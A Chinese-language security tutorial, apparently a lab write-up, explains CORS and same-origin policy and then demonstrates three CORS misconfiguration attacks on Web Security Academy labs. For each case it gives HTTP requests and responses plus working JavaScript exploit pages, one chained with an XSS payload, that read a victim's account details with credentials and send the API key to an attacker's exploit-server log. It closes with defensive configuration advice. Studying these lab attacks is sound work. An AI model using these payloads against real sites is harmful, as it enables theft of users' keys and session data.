CORS

CORS(Cross-Origin Resource Sharing)的基本原理是,網站伺服器產生訪問控制策略,要求使用者瀏覽器放寬SOP(同源政策)的限制。因為在默認的SOP下,前後端開發會非常難以進行,也沒辦法用 XHR 的方式套用其他 SDK 的 API。也因此出現了 CORS 的機制。

SOP

SOP(Same Origin Policy,同源策略)是 Web 最重要的安全機制,它確保了不同源(Origin,包括域名,端口和協議類型)的 Web 應用之間不能互相干擾。

例子:
不同協定:如果文件1來自http://systw.net,而文件2來自於https://systw.net,http和https是不同協定所以不是同源
不同域名:像是https://api.systw.net 跟 https://app.systw.net。因為它們的 host 不同,所以也不算同源

SOP默認阻止跨域讀取響應內容。在同源策略的限制下,客戶端腳本可以通過資源引用或者跨域表單提交向第三方伺服器發送GET請求和POST請求,但是卻不能讀取響應內容。但是也有一些例外,不受同源策略影響的資源如下

  • <img /> 圖片元素
  • <video />, <audio /> 影片和音訊元素
  • <iframe /> 內嵌框架元素
  • 透過 <link rel=”stylesheet” href /> 載入的 CSS 腳本
  • <script src=”” /> 載入的 Javascript 腳本

XHR

CORS是XHR(XMLHttpRequest) V2 標準下規定的跨站點資源共享的方式。它規定了瀏覽器在通過XHR請求跨域資源的時候的行為規範。服務端請求頭配置錯誤的時候會導致安全漏洞。


檢查網站CORS配置的安全性

對網站發送Origin請求後,可根據以下返回內容判斷網站是否安全

  • Access-Control-Allow-Origin: 這裡可以知道請求的domain是否被允許
  • Access-Control-Allow-Credentials: true 允許放發送cookie

常見的安全問題有以下3種


1.允許瀏覽器存取所有來源

對網站請求Origin各種域名,Access-Control-Allow-Origin都會允許,表示網站可允許各種來源的跨域存取,換句話說這也允許攻擊者的網頁

例如

對網站Origin送出任何domain,像是https://example.com


	GET /accountDetails HTTP/1.1
	Host: 0ab800bc0405bd04c0b6634200ee0070.web-security-academy.net
	Cookie: session=dP8ECM8u6q3yqSpmNimhbG6jj5W2fdpd
	Origin: https://example.com
	...omit...

返回時出現以下,這表示該網站允許存取其他任何網站的資源,而且也充許跨域COOKIE的使用

	HTTP/1.1 200 OK
	Access-Control-Allow-Origin: https://example.com
	Access-Control-Allow-Credentials: true
	...omit...
	{
	  "username": "wiener",
	  "email": "",
	  "apikey": "VV4TchuQnAFlpMJU3ZXMZwmbnBvlPiGJ",
	  "sessions": [
	    "dP8ECM8u6q3yqSpmNimhbG6jj5W2fdpd"
	  ]
	}

由於CORS太寬鬆,只要準備一台攻擊主機顯示以下攻擊頁面,在讓受害者訪問,瀏覽器就能進行跨域存取執行惡意代碼

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ab800bc0405bd04c0b6634200ee0070.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

受害者訪問攻擊者的網頁後,攻擊者就能在攻擊主機的web日志記錄log?key=看到apikey

refer
lab: CORS vulnerability with basic origin reflection


2.允許瀏覽器存取空白來源

網站配置不當,信任空白來源,受害者一但執行攻擊者製作的空白來源攻擊網頁,就會執行代碼上的跨域攻擊

例如

對網站送出Origin: null

	GET /accountDetails HTTP/1.1
	Host: 0a6c00d0030f3f12c005183b009d0079.web-security-academy.net
	Origin: null
	...omit...

如果返回時出現以下,這表示該網站允許空白來源,存在安全問題

	HTTP/1.1 200 OK
	Access-Control-Allow-Origin: null
	Access-Control-Allow-Credentials: true
	...omit...
	"apikey": "VV4TchuQnAFlpMJU3ZXMZwmbnBvlPiGJ",
	...omit...

只要製作可產生空白來源的攻擊頁面,受害者開啟後就能成功執行。

像是iframe沙箱就可產生空白來源請求,如下

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

受害者訪問後,攻擊者就能在攻擊主機的web日志記錄log?key=看到apikey

refer
lab: CORS vulnerability with trusted null origin


3.允許瀏覽器存取任意子網域

如果網站配置允許任意子網域能跨域存取,攻擊者可以在有xss問題的子網域佈好攻擊頁面,一但受害者訪問該頁面則會執行惡意代碼

例如
對網站隨便提出一個子域名,像是subdomaintest如下

	GET /accountDetails HTTP/1.1
	Host: 0a6c00d0030f3f12c005183b009d0079.web-security-academy.net
	Origin: https://subdomaintest.0a6c00d0030f3f12c005183b009d0079.web-security-academy.net
	...omit...

返回內容可看到己同意subdomaintest跨域請求,代表Origin送出任何子域名網站都同意,網站允許任何子網域跨域

	HTTP/1.1 200 OK
	Access-Control-Allow-Origin: https://subdomaintest.0a6c00d0030f3f12c005183b009d0079.web-security-academy.net
	Access-Control-Allow-Credentials: true
	...omit...

如果要利用該問題攻擊,攻擊者還必須在子網域下找到XSS漏洞,才可透過子域名帶惡意代碼讓瀏覽器執行

在這個案例中,目標網站存在XSS漏洞,舉例如下

	GET /?productId=1<script>alert(1)</script>&storeId=1
	Host: stock.0a6c00d0030f3f12c005183b009d0079.web-security-academy.net
	...omit...

因此可以透過該XSS漏洞執行以下代碼,取得apikey

<script>
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://0a6c00d0030f3f12c005183b009d0079.web-security-academy.net/accountDetails',true); 
req.withCredentials = true;req.send();
function reqListener() {
    location='https://exploit-0aae00c5032c3f65c0f21726016a00fd.exploit-server.net/log?key='%2bthis.responseText; 
};
</script>

將上述代碼包進xss中,最後要讓受害者執行的攻擊網頁如下,這可以符合cors要求,允許任何子域名跨域存取

<script>
    document.location="http://stock.0a6c00d0030f3f12c005183b009d0079.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a6c00d0030f3f12c005183b009d0079.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aae00c5032c3f65c0f21726016a00fd.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

受害者訪問後,攻擊者就能在攻擊主機的web日志記錄log?key=看到apikey

refer
Lab: CORS vulnerability with trusted insecure protocols


網站配置CORS的安全建議

  1. 不要盲目反射 Origin
  2. 嚴格校驗 Origin ,避免出現權限洩漏
  3. 不要配置 Access-Control-Allow-Origin: null
  4. HTTPS 網站不要信任 HTTP 域
  5. 不要信任全部自身子域,減少攻擊面
  6. 不要配置 Origin:* 和 Credentials: true
  7. 增加 Vary: Origin

refer
https://www.cnblogs.com/zhaijiahui/p/14626370.html
https://www.bedefended.com/papers/cors-security-guide
https://www.freebuf.com/articles/web/290140.html
https://research.qianxin.com/archives/290